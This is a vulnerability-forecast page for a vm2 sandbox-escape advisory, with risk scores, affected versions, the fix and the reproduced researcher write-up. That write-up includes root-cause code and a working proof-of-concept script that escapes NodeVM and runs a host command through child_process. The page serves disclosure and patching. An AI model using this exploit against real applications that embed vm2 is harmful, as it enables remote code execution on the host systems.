CVE-2026-92946 · GHSA-j3hm-6rg5-mchv
vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE
- Risk score
- 87/100
- CVSS
- 10.0 v3.1
- Exploit chance (30 days)
- 0.9%
- Published
- 5 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox: require.root defaults to unrestricted — "if omitted every path is …
- Affected
- vm2 (npm) <= 3.11.6
- Fix
- Upgrade vm2 to 3.11.7 or later.
- Exploitation
- Public proof of concept
Why it is Red
- CVSS 10.0 critical
- Public exploit or proof of concept referenced
- Remotely exploitable without logging in
- On your watchlist: npm
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| vm2 | npm | <= 3.11.6 | 3.11.7 |
References
- https://github.com/advisories/GHSA-j3hm-6rg5-mchv
- https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv
- https://nvd.nist.gov/vuln/detail/CVE-2026-92946
- https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external
- https://github.com/advisories/GHSA-j3hm-6rg5-mchv
Original description
## Summary `NodeVM`'s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox: - `require.root` defaults to **unrestricted** — "if omitted every path is allowed." - `require.context` defaults to **`"host"`** — files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox. Sandboxed code can therefore `require()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`. This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`: ```js const vm = new NodeVM({ require: { external: true, root: './', }, }); ``` `root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default. ## Affected Versions All vm2 versions where `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause). ## Details / Root Cause `lib/resolver-compat.js`: ```js const { builtin: builtinOpt, mock: mockOpt, external: externalOpt, root: rootPaths, resolve: customResolver, customRequire: hostRequire = defaultRequire, context = 'host', // <-- defaults to 'host' strict = true, fs: fsOpt = DEFAULT_FS, } = options; ... if (!externalOpt) return new Resolver(fsOpt, [], builtins); ... let checkedRootPaths; if (rootPaths !== undefined) { // root is only canonicalized/validated if the embedder explicitly provided one. ... } ``` and `CustomResolver.isPathAllowed`: ```js isPathAllowed(filename) { if (this.rootPaths === undefined) return true; // <-- unrestricted when root is omitted ... } ``` and `CustomResolver.loadJS`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); } ``` `CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`. **This is a distinct code path from the two already-fixed advisories that produce a similar end state:** - **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader's symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has — nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink. - **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely — the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone. An embedder who has correctly mitigated both prior advisories remains completely open through this one. **Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of "every path is allowed." ## Proof of Concept See attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source. ```js const path = require('path'); const { NodeVM } = require('vm2'); const vm = new NodeVM({ require: { external: true, root: './' }, // verbatim from README "Quick Examples" }); let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/'); if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint; const result = vm.run(` const real = require(${JSON.stringify(vm2EntryPoint)}); const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } }); module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js'); `, 'untrusted-plugin.js'); console.log(result); // real host username, e.g. "Abisheik M" `
Last activity 5 Oct 2026. Patch Forecast updates every hour.